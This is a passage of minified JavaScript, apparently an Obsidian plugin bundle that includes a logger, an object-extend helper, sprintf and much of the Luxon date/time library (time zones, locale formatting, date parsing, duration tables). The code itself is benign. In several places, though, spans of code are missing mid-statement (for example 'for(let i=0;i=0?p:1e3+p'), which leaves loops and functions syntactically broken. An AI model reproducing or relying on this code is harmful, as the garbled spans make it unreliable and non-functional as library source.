a(s({name:c},l.context)))},e.createDefaultHandler=function(c){c=c||{},c.formatter=c.formatter||function(d,p){p.name&&d.unshift("["+p.name+"]")};var u={},f=function(h,d){Function.prototype.apply.call(h,console,d)};return typeof console>"u"?function(){}:function(h,d){h=Array.prototype.slice.call(h);var p=console.log,g;d.level===e.TIME?(g=(d.name?"["+d.name+"] ":"")+h[0],h[1]==="start"?console.time?console.time(g):u[g]=new Date().getTime():console.timeEnd?console.timeEnd(g):f(p,[g+": "+(new Date().getTime()-u[g])+"ms"])):(d.level===e.WARN&&console.warn?p=console.warn:d.level===e.ERROR&&console.error?p=console.error:d.level===e.INFO&&console.info?p=console.info:d.level===e.DEBUG&&console.debug?p=console.debug:d.level===e.TRACE&&console.trace&&(p=console.trace),c.formatter(h,d),f(p,h))}},e.useDefaults=function(c){e.setLevel(c&&c.defaultLevel||e.DEBUG),e.setHandler(e.createDefaultHandler(c))},e.setDefaults=e.useDefaults,typeof define=="function"&&define.amd?define(e):typeof wd<"u"&&wd.exports?wd.exports=e:(e._prevLogger=t.Logger,e.noConflict=function(){return t.Logger=e._prevLogger,e},t.Logger=e)})(Yx)});var oS=W((lJ,sS)=>{"use strict";m();var bd=Object.prototype.hasOwnProperty,iS=Object.prototype.toString,Jx=Object.defineProperty,Xx=Object.getOwnPropertyDescriptor,eS=function(e){return typeof Array.isArray=="function"?Array.isArray(e):iS.call(e)==="[object Array]"},tS=function(e){if(!e||iS.call(e)!=="[object Object]")return!1;var n=bd.call(e,"constructor"),r=e.constructor&&e.constructor.prototype&&bd.call(e.constructor.prototype,"isPrototypeOf");if(e.constructor&&!n&&!r)return!1;var i;for(i in e);return typeof i>"u"||bd.call(e,i)},nS=function(e,n){Jx&&n.name==="__proto__"?Jx(e,n.name,{enumerable:!0,configurable:!0,value:n.newValue,writable:!0}):e[n.name]=n.newValue},rS=function(e,n){if(n==="__proto__")if(bd.call(e,n)){if(Xx)return Xx(e,n).value}else return;return e[n]};sS.exports=function t(){var e,n,r,i,s,o,a=arguments[0],l=1,c=arguments.length,u=!1;for(typeof a=="boolean"&&(u=a,a=arguments[1]||{},l=2),(a==null||typeof a!="object"&&typeof a!="function")&&(a={});l{m();(function(){var t;typeof Sw<"u"?t=Sw.exports=r:t=function(){return this||(0,eval)("this")}(),t.format=r,t.vsprintf=n,typeof console<"u"&&typeof console.log=="function"&&(t.printf=e);function e(){console.log(r.apply(null,arguments))}function n(i,s){return r.apply(null,[i].concat(s))}function r(i){for(var s=1,o=[].slice.call(arguments),a=0,l=i.length,c="",u,f=!1,h,d,p=!1,g,y=function(){return o[s++]},w=function(){for(var b="";/\d/.test(i[a]);)b+=i[a++],u=i[a];return b.length>0?parseInt(b):null};a{"use strict";m();Object.defineProperty(xi,"__esModule",{value:!0});require("obsidian");var Xi=class extends Error{},Vw=class extends Xi{constructor(e){super(`Invalid DateTime: ${e.toMessage()}`)}},Hw=class extends Xi{constructor(e){super(`Invalid Interval: ${e.toMessage()}`)}},Ww=class extends Xi{constructor(e){super(`Invalid Duration: ${e.toMessage()}`)}},Zo=class extends Xi{},im=class extends Xi{constructor(e){super(`Invalid unit ${e}`)}},Pn=class extends Xi{},vi=class extends Xi{constructor(){super("Zone is an abstract class")}},re="numeric",Gr="short",nr="long",sm={year:re,month:re,day:re},yE={year:re,month:Gr,day:re},IU={year:re,month:Gr,day:re,weekday:Gr},wE={year:re,month:nr,day:re},bE={year:re,month:nr,day:re,weekday:nr},vE={hour:re,minute:re},kE={hour:re,minute:re,second:re},xE={hour:re,minute:re,second:re,timeZoneName:Gr},SE={hour:re,minute:re,second:re,timeZoneName:nr},DE={hour:re,minute:re,hourCycle:"h23"},EE={hour:re,minute:re,second:re,hourCycle:"h23"},_E={hour:re,minute:re,second:re,hourCycle:"h23",timeZoneName:Gr},CE={hour:re,minute:re,second:re,hourCycle:"h23",timeZoneName:nr},TE={year:re,month:re,day:re,hour:re,minute:re},FE={year:re,month:re,day:re,hour:re,minute:re,second:re},IE={year:re,month:Gr,day:re,hour:re,minute:re},AE={year:re,month:Gr,day:re,hour:re,minute:re,second:re},AU={year:re,month:Gr,day:re,weekday:Gr,hour:re,minute:re},OE={year:re,month:nr,day:re,hour:re,minute:re,timeZoneName:Gr},PE={year:re,month:nr,day:re,hour:re,minute:re,second:re,timeZoneName:Gr},NE={year:re,month:nr,day:re,weekday:nr,hour:re,minute:re,timeZoneName:nr},ME={year:re,month:nr,day:re,weekday:nr,hour:re,minute:re,second:re,timeZoneName:nr},Xo=class{get type(){throw new vi}get name(){throw new vi}get ianaName(){return this.name}get isUniversal(){throw new vi}offsetName(e,n){throw new vi}formatOffset(e,n){throw new vi}offset(e){throw new vi}equals(e){throw new vi}get isValid(){throw new vi}},Rw=null,om=class t extends Xo{static get instance(){return Rw===null&&(Rw=new t),Rw}get type(){return"system"}get name(){return new Intl.DateTimeFormat().resolvedOptions().timeZone}get isUniversal(){return!1}offsetName(e,{format:n,locale:r}){return zE(e,n,r)}formatOffset(e,n){return Au(this.offset(e),n)}offset(e){return-new Date(e).getTimezoneOffset()}equals(e){return e.type==="system"}get isValid(){return!0}},nm={};function OU(t){return nm[t]||(nm[t]=new Intl.DateTimeFormat("en-US",{hour12:!1,timeZone:t,year:"numeric",month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit",second:"2-digit",era:"short"})),nm[t]}var PU={year:0,month:1,day:2,era:3,hour:4,minute:5,second:6};function NU(t,e){let n=t.format(e).replace(/\u200E/g,""),r=/(\d+)\/(\d+)\/(\d+) (AD|BC),? (\d+):(\d+):(\d+)/.exec(n),[,i,s,o,a,l,c,u]=r;return[o,i,s,a,l,c,u]}function MU(t,e){let n=t.formatToParts(e),r=[];for(let i=0;i=0?p:1e3+p,(h-d)/(60*1e3)}equals(e){return e.type==="iana"&&e.name===this.name}get isValid(){return this.valid}},$D={};function RU(t,e={}){let n=JSON.stringify([t,e]),r=$D[n];return r||(r=new Intl.ListFormat(t,e),$D[n]=r),r}var Gw={};function Qw(t,e={}){let n=JSON.stringify([t,e]),r=Gw[n];return r||(r=new Intl.DateTimeFormat(t,e),Gw[n]=r),r}var Kw={};function zU(t,e={}){let n=JSON.stringify([t,e]),r=Kw[n];return r||(r=new Intl.NumberFormat(t,e),Kw[n]=r),r}var Zw={};function LU(t,e={}){let{base:n,...r}=e,i=JSON.stringify([t,r]),s=Zw[i];return s||(s=new Intl.RelativeTimeFormat(t,e),Zw[i]=s),s}var Fu=null;function BU(){return Fu||(Fu=new Intl.DateTimeFormat().resolvedOptions().locale,Fu)}function $U(t){let e=t.indexOf("-x-");e!==-1&&(t=t.substring(0,e));let n=t.indexOf("-u-");if(n===-1)return[t];{let r,i;try{r=Qw(t).resolvedOptions(),i=t}catch{let l=t.substring(0,n);r=Qw(l).resolvedOptions(),i=l}let{numberingSystem:s,calendar:o}=r;return[i,s,o]}}function UU(t,e,n){return(n||e)&&(t.includes("-u-")||(t+="-u"),n&&(t+=`-ca-${n}`),e&&(t+=`-nu-${e}`)),t}function jU(t){let e=[];for(let n=1;n<=12;n++){let r=Ae.utc(2009,n,1);e.push(t(r))}return e}function qU(t){let e=[];for(let n=1;n<=7;n++){let r=Ae.utc(2016,11,13+n);e.push(t(r))}return e}function Yd(t,e,n,r){let i=t.listingMode();return i==="error"?null:i==="en"?n(e):r(e)}function VU(t){return t.numberingSystem&&t.numberingSystem!=="latn"?!1:t.numberingSystem==="latn"||!t.locale||t.locale.startsWith("en")||new Intl.DateTimeFormat(t.intl).resolvedOptions().numberingSystem==="latn"}var Yw=class{constructor(e,n,r){this.padTo=r.padTo||0,this.floor=r.floor||!1;let{padTo:i,floor:s,...o}=r;if(!n||Object.keys(o).length>0){let a={useGrouping:!1,...r};r.padTo>0&&(a.minimumIntegerDigits=r.padTo),this.inf=zU(e,a)}}format(e){if(this.inf){let n=this.floor?Math.floor(e):e;return this.inf.format(n)}else{let n=this.floor?Math.floor(e):f0(e,3);return Ot(n,this.padTo)}}},Jw=class{constructor(e,n,r){this.opts=r,this.originalZone=void 0;let i;if(this.opts.timeZone)this.dt=e;else if(e.zone.type==="fixed"){let o=-1*(e.offset/60),a=o>=0?`Etc/GMT+${o}`:`Etc/GMT${o}`;e.offset!==0&&Ms.create(a).valid?(i=a,this.dt=e):(i="UTC",this.dt=e.offset===0?e:e.setZone("UTC").plus({minutes:e.offset}),this.originalZone=e.zone)}else e.zone.type==="system"?this.dt=e:e.zone.type==="iana"?(this.dt=e,i=e.zone.name):(i="UTC",this.dt=e.setZone("UTC").plus({minutes:e.offset}),this.originalZone=e.zone);let s={...this.opts};s.timeZone=s.timeZone||i,this.dtf=Qw(n,s)}format(){return this.originalZone?this.formatToParts().map(({value:e})=>e).join(""):this.dtf.format(this.dt.toJSDate())}formatToParts(){let e=this.dtf.formatToParts(this.dt.toJSDate());return this.originalZone?e.map(n=>{if(n.type==="timeZoneName"){let r=this.originalZone.offsetName(this.dt.ts,{locale:this.dt.locale,format:this.opts.timeZoneName});return{...n,value:r}}else return n}):e}resolvedOptions(){return this.dtf.resolvedOptions()}},Xw=class{constructor(e,n,r){this.opts={style:"long",...r},!n&&RE()&&(this.rtf=LU(e,r))}format(e,n){return this.rtf?this.rtf.format(e,n):o8(n,e,this.opts.numeric,this.opts.style!=="long")}formatToParts(e,n){return this.rtf?this.rtf.formatToParts(e,n):[]}},St=class t{static fromOpts(e){return t.create(e.locale,e.numberingSystem,e.outputCalendar,e.defaultToEN)}static create(e,n,r,i=!1){let s=e||xt.defaultLocale,o=s||(i?"en-US":BU()),a=n||xt.defaultNumberingSystem,l=r||xt.defaultOutputCalendar;return new t(o,a,l,s)}static resetCache(){Fu=null,Gw={},Kw={},Zw={}}static fromObject({locale:e,numberingSystem:n,outputCalendar:r}={}){return t.create(e,n,r)}constructor(e,n,r,i){let[s,o,a]=$U(e);this.locale=s,this.numberingSystem=n||o||null,this.outputCalendar=r||a||null,this.intl=UU(this.locale,this.numberingSystem,this.outputCalendar),this.weekdaysCache={format:{},standalone:{}},this.monthsCache={format:{},standalone:{}},this.meridiemCache=null,this.eraCache={},this.specifiedLocale=i,this.fastNumbersCached=null}get fastNumbers(){return this.fastNumbersCached==null&&(this.fastNumbersCached=VU(this)),this.fastNumbersCached}listingMode(){let e=this.isEnglish(),n=(this.numberingSystem===null||this.numberingSystem==="latn")&&(this.outputCalendar===null||this.outputCalendar==="gregory");return e&&n?"en":"intl"}clone(e){return!e||Object.getOwnPropertyNames(e).length===0?this:t.create(e.locale||this.specifiedLocale,e.numberingSystem||this.numberingSystem,e.outputCalendar||this.outputCalendar,e.defaultToEN||!1)}redefaultToEN(e={}){return this.clone({...e,defaultToEN:!0})}redefaultToSystem(e={}){return this.clone({...e,defaultToEN:!1})}months(e,n=!1){return Yd(this,e,$E,()=>{let r=n?{month:e,day:"numeric"}:{month:e},i=n?"format":"standalone";return this.monthsCache[i][e]||(this.monthsCache[i][e]=jU(s=>this.extract(s,r,"month"))),this.monthsCache[i][e]})}weekdays(e,n=!1){return Yd(this,e,qE,()=>{let r=n?{weekday:e,year:"numeric",month:"long",day:"numeric"}:{weekday:e},i=n?"format":"standalone";return this.weekdaysCache[i][e]||(this.weekdaysCache[i][e]=qU(s=>this.extract(s,r,"weekday"))),this.weekdaysCache[i][e]})}meridiems(){return Yd(this,void 0,()=>VE,()=>{if(!this.meridiemCache){let e={hour:"numeric",hourCycle:"h12"};this.meridiemCache=[Ae.utc(2016,11,13,9),Ae.utc(2016,11,13,19)].map(n=>this.extract(n,e,"dayperiod"))}return this.meridiemCache})}eras(e){return Yd(this,e,HE,()=>{let n={era:e};return this.eraCache[e]||(this.eraCache[e]=[Ae.utc(-40,1,1),Ae.utc(2017,1,1)].map(r=>this.extract(r,n,"era"))),this.eraCache[e]})}extract(e,n,r){let i=this.dtFormatter(e,n),s=i.formatToParts(),o=s.find(a=>a.type.toLowerCase()===r);return o?o.value:null}numberFormatter(e={}){return new Yw(this.intl,e.forceSimple||this.fastNumbers,e)}dtFormatter(e,n={}){return new Jw(e,this.intl,n)}relFormatter(e={}){return new Xw(this.intl,this.isEnglish(),e)}listFormatter(e={}){return RU(this.intl,e)}isEnglish(){return this.locale==="en"||this.locale.toLowerCase()==="en-us"||new Intl.DateTimeFormat(this.intl).resolvedOptions().locale.startsWith("en-us")}equals(e){return this.locale===e.locale&&this.numberingSystem===e.numberingSystem&&this.outputCalendar===e.outputCalendar}},zw=null,_r=class t extends Xo{static get utcInstance(){return zw===null&&(zw=new t(0)),zw}static instance(e){return e===0?t.utcInstance:new t(e)}static parseSpecifier(e){if(e){let n=e.match(/^utc(?:([+-]\d{1,2})(?::(\d{2}))?)?$/i);if(n)return new t(gm(n[1],n[2]))}return null}constructor(e){super(),this.fixed=e}get type(){return"fixed"}get name(){return this.fixed===0?"UTC":`UTC${Au(this.fixed,"narrow")}`}get ianaName(){return this.fixed===0?"Etc/UTC":`Etc/GMT${Au(-this.fixed,"narrow")}`}offsetName(){return this.name}formatOffset(e,n){return Au(this.fixed,n)}get isUniversal(){return!0}offset(){return this.fixed}equals(e){return e.type==="fixed"&&e.fixed===this.fixed}get isValid(){return!0}},e0=class extends Xo{constructor(e){super(),this.zoneName=e}get type(){return"invalid"}get name(){return this.zoneName}get isUniversal(){return!1}offsetName(){return null}formatOffset(){return""}offset(){return NaN}equals(){return!1}get isValid(){return!1}};function Ns(t,e){if(Be(t)||t===null)return e;if(t instanceof Xo)return t;if(HU(t)){let n=t.toLowerCase();return n==="default"?e:n==="local"||n==="system"?om.instance:n==="utc"||n==="gmt"?_r.utcInstance:_r.parseSpecifier(n)||Ms.create(t)}else return Jo(t)?_r.instance(t):typeof t=="object"&&"offset"in t&&typeof t.offset=="function"?t:new e0(t)}var UD=()=>Date.now(),jD="system",qD=null,VD=null,HD=null,WD=60,GD,xt=class{static get now(){return UD}static set now(e){UD=e}static set defaultZone(e){jD=e}static get defaultZone(){return Ns(jD,om.instance)}static get defaultLocale(){return qD}static set defaultLocale(e){qD=e}static get defaultNumberingSystem(){return VD}static set defaultNumberingSystem(e){VD=e}static get defaultOutputCalendar(){return HD}static set defaultOutputCalendar(e){HD=e}static get twoDigitCutoffYear(){return WD}static set twoDigitCutoffYear(e){WD=e%100}static get throwOnInvalid(){return GD}static set throwOnInvalid(e){GD=e}static resetCaches(){St.resetCache(),Ms.resetCache()}};function Be(t){return typeof t>"u"}function Jo(t){return typeof t=="number"}function mm(t){return typeof t=="number"&&t%1===0}function HU(t){return typeof t=="string"}function WU(t){return Object.prototype.toString.call(t)==="[object Date]"}function RE(){try{return typeof Intl<"u"&&!!Intl.RelativeTimeFormat}catch{return!1}}function GU(t){return Array.isArray(t)?t:[t]}function QD(t,e,n){if(t.length!==0)return t.reduce((r,i)=>{let s=[e(i),i];return r&&n(r[0],s[0])===r[0]?r:s},null)[1]}function QU(t,e){return e.reduce((n,r)=>(n[r]=t[r],n),{})}function bl(t,e){return Object.prototype.hasOwnProperty.call(t,e)}function Ji(t,e,n){return mm(t)&&t>=e&&t<=n}function KU(t,e){return t-e*Math.floor(t/e)}function Ot(t,e=2){let n=t<0,r;return n?r="-"+(""+-t).padStart(e,"0"):r=(""+t).padStart(e,"0"),r}function Ps(t){if(!(Be(t)||t===null||t===""))return parseInt(t,10)}function Qo(t){if(!(Be(t)||t===null||t===""))return parseFloat(t)}function u0(t){if(!(Be(t)||t===null||t==="")){let e=parseFloat("0."+t)*1e3;return Math.floor(e)}}function f0(t,e,n=!1){let r=10**e;return(n?Math.trunc:Math.round)(t*r)/r}function Nu(t){return t%4===0&&(t%100!==0||t%400===0)}function Iu(t){return Nu(t)?366:365}function am(t,e){let n=KU(e-1,12)+1,r=t+(e-n)/12;return n===2?Nu(r)?29:28:[31,null,31,30,31,30,31,31,30,31,30,31][n-1]}function pm(t){let e=Date.UTC(t.year,t.month-1,t.day,t.hour,t.minute,t.second,t.millisecond);return t.year<100&&t.year>=0&&(e=new Date(e),e.setUTCFullYear(t.year,t.month-1,t.day)),+e}function lm(t){let e=(t+Math.floor(t/4)-Math.floor(t/100)+Math.floor(t/400))%7,n=t-1,r=(n+Math.floor(n/4)-Math.floor(n/100)+Math.floor(n/400))%7;return e===4||r===3?53:52}function t0(t){return t>99?t:t>xt.twoDigitCutoffYear?1900+t:2e3+t}function zE(t,e,n,r=null){let i=new Date(t),s={hourCycle:"h23",year:"numeric",month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit"};r&&(s.timeZone=r);let o={timeZoneName:e,...s},a=new Intl.DateTimeFormat(n,o).formatToParts(i).find(l=>l.type.toLowerCase()==="timezonename");return a?a.value:null}function gm(t,e){let n=parseInt(t,10);Number.isNaN(n)&&(n=0);let r=parseInt(e,10)||0,i=n<0||Object.is(n,-0)?-r:r;return n*60+i}function LE(t){let e=Number(t);if(typeof t=="boolean"||t===""||Number.isNaN(e))throw new Pn(`Invalid unit value ${t}`);return e}function cm(t,e){let n={};for(let r in t)if(bl(t,r)){let i=t[r];if(i==null)continue;n[e(r)]=LE(i)}return n}function Au(t,e){let n=Math.trunc(Math.abs(t/60)),r=Math.trunc(Math.abs(t%60)),i=t>=0?"+":"-";switch(e){case"short":return`${i}${Ot(n,2)}:${Ot(r,2)}`;case"narrow":return`${i}${n}${r>0?`:${r}`:""}`;case"techie":return`${i}${Ot(n,2)}${Ot(r,2)}`;default:throw new RangeError(`Value format ${e} is out of range for property format`)}}function ym(t){return QU(t,["hour","minute","second","millisecond"])}var ZU=["January","February","March","April","May","June","July","August","September","October","November","December"],BE=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],YU=["J","F","M","A","M","J","J","A","S","O","N","D"];function $E(t){switch(t){case"narrow":return[...YU];case"short":return[...BE];case"long":return[...ZU];case"numeric":return["1","2","3","4","5","6","7","8","9","10","11","12"];case"2-digit":return["01","02","03","04","05","06","07","08","09","10","11","12"];default:return null}}var UE=["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"],jE=["Mon","Tue","Wed","Thu","Fri","Sat","Sun"],JU=["M","T","W","T","F","S","S"];function qE(t){switch(t){case"narrow":return[...JU];case"short":return[...jE];case"long":return[...UE];case"numeric":return["1","2","3","4","5","6","7"];default:return null}}var VE=["AM","PM"],XU=["Before Christ","Anno Domini"],e8=["BC","AD"],t8=["B","A"];function HE(t){switch(t){case"narrow":return[...t8];case"short":return[...e8];case"long":return[...XU];default:return null}}function n8(t){return VE[t.hour<12?0:1]}function r8(t,e){return qE(e)[t.weekday-1]}function i8(t,e){return $E(e)[t.month-1]}function s8(t,e){return HE(e)[t.year<0?0:1]}function o8(t,e,n="always",r=!1){let i={years:["year","yr."],quarters:["quarter","qtr."],months:["month","mo."],weeks:["week","wk."],days:["day","day","days"],hours:["hour","hr."],minutes:["minute","min."],seconds:["second","sec."]},s=["hours","minutes","seconds"].indexOf(t)===-1;if(n==="auto"&&s){let f=t==="days";switch(e){case 1:return f?"tomorrow":`next ${i[t][0]}`;case-1:return f?"yesterday":`last ${i[t][0]}`;case 0:return f?"today":`this ${i[t][0]}`}}let o=Object.is(e,-0)||e<0,a=Math.abs(e),l=a===1,c=i[t],u=r?l?c[1]:c[2]||c[1]:l?i[t][0]:t;return o?`${a} ${u} ago`:`in ${a} ${u}`}function KD(t,e){let n="";for(let r of t)r.literal?n+=r.val:n+=e(r.val);return n}var a8={D:sm,DD:yE,DDD:wE,DDDD:bE,t:vE,tt:kE,ttt:xE,tttt:SE,T:DE,TT:EE,TTT:_E,TTTT:CE,f:TE,ff:IE,fff:OE,ffff:NE,F:FE,FF:AE,FFF:PE,FFFF:ME},er=class t{static create(e,n={}){return new t(e,n)}static parseFormat(e){let n=null,r="",i=!1,s=[];for(let o=0;o0&&s.push({literal:i||/^\s+$/.test(r),val:r}),n=null,r="",i=!i):i||a===n?r+=a:(r.length>0&&s.push({literal:/^\s+$/.test(r),val:r}),r=a,n=a)}return r.length>0&&s.push({literal:i||/^\s+$/.test(r),val:r}),s}static macroTokenToFormatOpts(e){return a8[e]}constructor(e,n){this.opts=n,this.loc=e,this.systemLoc=null}formatWithSystemDefault(e,n){return this.systemLoc===null&&(this.systemLoc=this.loc.redefaultToSystem()),this.systemLoc.dtFormatter(e,{...this.opts,...n}).format()}dtFormatter(e,n={}){return this.loc.dtFormatter(e,{...this.opts,...n})}formatDateTime(e,n){return this.dtFormatter(e,n).format()}formatDateTimeParts(e,n){return this.dtFormatter(e,n).formatToParts()}formatInterval(e,n){return this.dtFormatter(e.start,n).dtf.formatRange(e.start.toJSDate(),e.end.toJSDate())}resolvedOptions(e,n){return this.dtFormatter(e,n).resolvedOptions()}num(e,n=0){if(this.opts.forceSimple)return Ot(e,n);let r={...this.opts};return n>0&&(r.padTo=n),this.loc.numberFormatter(r).format(e)}formatDateTimeFromString(e,n){let r=this.loc.listingMode()==="en",i=this.loc.outputCalendar&&this.loc.outputCalendar!=="gregory",s=(d,p)=>this.loc.extract(e,d,p),o=d=>e.isOffsetFixed&&e.offset===0&&d.allowZ?"Z":e.isValid?e.zone.formatOffset(e.ts,d.format):"",a=()=>r?n8(e):s({hour:"numeric",hourCycle:"h12"},"dayperiod"),l=(d,p)=>r?i8(e,d):s(p?{month:d}:{month:d,day:"numeric"},"month"),c=(d,p)=>r?r8(e,d):s(p?{weekday:d}:{weekday:d,month:"long",day:"numeric"},"weekday"),u=d=>{let p=t.macroTokenToFormatOpts(d);return p?this.formatWithSystemDefault(e,p):d},f=d=>r?s8(e,d):s({era:d},"era"),h=d=>{switch(d){case"S":return this.num(e.millisecond);case"u":case"SSS":return this.num(e.millisecond,3);case"s":return this.num(e.second);case"ss":return this.num(e.second,2);case"uu":return this.num(Math.floor(e.millisecond/10),2);case"uuu":return this.num(Math.floor(e.millisecond/100));case"m":return this.num(e.minute);case"mm":return this.num(e.minute,2);case"h":return this.num(e.hour%12===0?12:e.hour%12);case"hh":return this.num(e.hour%12===0?12:e.hour%12,2);case"H":return this.num(e.hour);case"HH":return this.num(e.hour,2);case"Z":return o({format:"narrow",allowZ:this.opts.allowZ});case"ZZ":return o({format:"short",allowZ:this.opts.allowZ});case"ZZZ":return o({format:"techie",allowZ:this.opts.allowZ});case"ZZZZ":return e.zone.offsetName(e.ts,{format:"short",locale:this.loc.locale});case"ZZZZZ":return e.zone.offsetName(e.ts,{format:"long",locale:this.loc.locale});case"z":return e.zoneName;case"a":return a();case"d":return i?s({day:"numeric"},"day"):this.num(e.day);case"dd":return i?s({day:"2-digit"},"day"):this.num(e.day,2);case"c":return this.num(e.weekday);case"ccc":return c("short",!0);case"cccc":return c("long",!0);case"ccccc":return c("narrow",!0);case"E":return this.num(e.weekday);case"EEE":return c("short",!1);case"EEEE":return c("long",!1);case"EEEEE":return c("narrow",!1);case"L":return i?s({month:"numeric",day:"numeric"},"month"):this.num(e.month);case"LL":return i?s({month:"2-digit",day:"numeric"},"month"):this.num(e.month,2);case"LLL":return l("short",!0);case"LLLL":return l("long",!0);case"LLLLL":return l("narrow",!0);case"M":return i?s({month:"numeric"},"month"):this.num(e.month);case"MM":return i?s({month:"2-digit"},"month"):this.num(e.month,2);case"MMM":return l("short",!1);case"MMMM":return l("long",!1);case"MMMMM":return l("narrow",!1);case"y":return i?s({year:"numeric"},"year"):this.num(e.year);case"yy":return i?s({year:"2-digit"},"year"):this.num(e.year.toString().slice(-2),2);case"yyyy":return i?s({year:"numeric"},"year"):this.num(e.year,4);case"yyyyyy":return i?s({year:"numeric"},"year"):this.num(e.year,6);case"G":return f("short");case"GG":return f("long");case"GGGGG":return f("narrow");case"kk":return this.num(e.weekYear.toString().slice(-2),2);case"kkkk":return this.num(e.weekYear,4);case"W":return this.num(e.weekNumber);case"WW":return this.num(e.weekNumber,2);case"o":return this.num(e.ordinal);case"ooo":return this.num(e.ordinal,3);case"q":return this.num(e.quarter);case"qq":return this.num(e.quarter,2);case"X":return this.num(Math.floor(e.ts/1e3));case"x":return this.num(e.ts);default:return u(d)}};return KD(t.parseFormat(n),h)}formatDurationFromString(e,n){let r=l=>{switch(l[0]){case"S":return"millisecond";case"s":return"second";case"m":return"minute";case"h":return"hour";case"d":return"day";case"w":return"week";case"M":return"month";case"y":return"year";default:return null}},i=l=>c=>{let u=r(c);return u?this.num(l.get(u),c.length):c},s=t.parseFormat(n),o=s.reduce((l,{literal:c,val:u})=>c?l:l.concat(u),[]),a=e.shiftTo(...o.map(r).filter(l=>l));return KD(s,i(a))}},tr=class{constructor(e,n){this.reason=e,this.explanation=n}toMessage(){return this.explanation?`${this.reason}: ${this.explanation}`:this.reason}},WE=/[A-Za-z_+-]{1,256}(?::?\/[A-Za-z0-9_+-]{1,256}(?:\/[A-Za-z0-9_+-]{1,256})?)?/;function vl(...t){let e=t.reduce((n,r)=>n+r.source,"");return RegExp(`^${e}$`)}function kl(...t){return e=>t.reduce(([n,r,i],s)=>{let[o,a,l]=s(e,i);return[{...n,...o},a||r,l]},[{},null,1]).slice(0,2)}function xl(t,...e){if(t==null)return[null,null];for(let[n,r]of e){let i=n.exec(t);if(i)return r(i)}return[null,null]}function GE(...t){return(e,n)=>{let r={},i;for(i=0;id!==void 0&&(p||d&&u)?-d:d;return[{years:h(Qo(n)),months:h(Qo(r)),weeks:h(Qo(i)),days:h(Qo(s)),hours:h(Qo(o)),minutes:h(Qo(a)),seconds:h(Qo(l),l==="-0"),milliseconds:h(u0(c),f)}]}var v8={GMT:0,EDT:-4*60,EST:-5*60,CDT:-5*60,CST:-6*60,MDT:-6*60,MST:-7*60,PDT:-7*60,PST:-8*60};function m0(t,e,n,r,i,s,o){let a={year:e.length===2?t0(Ps(e)):Ps(e),month:BE.indexOf(n)+1,day:Ps(r),hour:Ps(i),minute:Ps(s)};return o&&(a.second=Ps(o)),t&&(a.weekday=t.length>3?UE.indexOf(t)+1:jE.indexOf(t)+1),a}var k8=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|(?:([+-]\d\d)(\d\d)))$/;function x8(t){let[,e,n,r,i,s,o,a,l,c,u,f]=t,h=m0(e,i,r,n,s,o,a),d;return l?d=v8[l]:c?d=0:d=gm(u,f),[h,new _r(d)]}function S8(t){return t.replace(/\([^()]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").trim()}var D8=/^(Mon|Tue|Wed|Thu|Fri|Sat|Sun), (\d\d) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) (\d{4}) (\d\d):(\d\d):(\d\d) GMT$/,E8=/^(Monday|Tuesday|Wednesday|Thursday|Friday|Saturday|Sunday), (\d\d)-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d\d) (\d\d):(\d\d):(\d\d) GMT$/,_8=/^(Mon|Tue|Wed|Thu|Fri|Sat|Sun) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) ( \d|\d\d) (\d\d):(\d\d):(\d\d) (\d{4})$/;function ZD(t){let[,e,n,r,i,s,o,a]=t;return[m0(e,i,r,n,s,o,a),_r.utcInstance]}function C8(t){let[,e,n,r,i,s,o,a]=t;return[m0(e,a,n,r,i,s,o),_r.utcInstance]}var T8=vl(c8,d0),F8=vl(u8,d0),I8=vl(f8,d0),A8=vl(KE),YE=kl(g8,Sl,Mu,Ru),O8=kl(h8,Sl,Mu,Ru),P8=kl(d8,Sl,Mu,Ru),N8=kl(Sl,Mu,Ru);function M8(t){return xl(t,[T8,YE],[F8,O8],[I8,P8],[A8,N8])}function R8(t){return xl(S8(t),[k8,x8])}function z8(t){return xl(t,[D8,ZD],[E8,ZD],[_8,C8])}function L8(t){return xl(t,[w8,b8])}var B8=kl(Sl);function $8(t){return xl(t,[y8,B8])}var U8=vl(m8,p8),j8=vl(ZE),q8=kl(Sl,Mu,Ru);function V8(t){return xl(t,[U8,YE],[j8,q8])}var YD="Invalid Duration",JE={weeks:{days:7,hours:7*24,minutes:7*24*60,seconds:7*24*60*60,milliseconds:7*24*60*60*1e3},days:{hours:24,minutes:24*60,seconds:24*60*60,milliseconds:24*60*60*1e3},hours:{minutes:60,seconds:60*60,milliseconds:60*60*1e3},minutes:{seconds:60,milliseconds:60*1e3},seconds:{milliseconds:1e3}},H8={years:{quarters:4,months:12,weeks:52,days:365,hours:365*24,minutes:365*24*60,seconds:365*24*60*60,milliseconds:365*24*60*60*1e3},quarters:{months:3,weeks:13,days:91,hours:91*24,minutes:91*24*60,seconds:91*24*60*60,milliseconds:91*24*60*60*1e3},months:{weeks:4,days:30,hours:30*24,minutes:30*24*60,seconds:30*24*60*60,milliseconds:30*24*60*60*1e3},...JE},Dr=146097/400,ml=146097/4800,W8={years:{quarters:4,months:12,weeks:Dr/7,days:Dr,hours:Dr*24,minutes:Dr*24*60,seconds:Dr*24*60*60,milliseconds:Dr*24*60*60*1e3},quarters:{months:3,weeks:Dr/28,days:Dr/4,hours:Dr*24/4,minutes:Dr*24*60/4,seconds:Dr*24*60*60/4,milliseconds:Dr*24*60*60*1e3/4},months:{weeks:ml/7,days:ml,hours:ml*24,minutes:ml*24*60,seconds:ml*24*60*60,milliseconds:ml*24*60*60*1e3},...JE},Yo=["years","quarters","months","weeks","days","hours","minutes","seconds","milliseconds"],G8=Yo.slice(0).reverse();function Os(t,e,n=!1){let 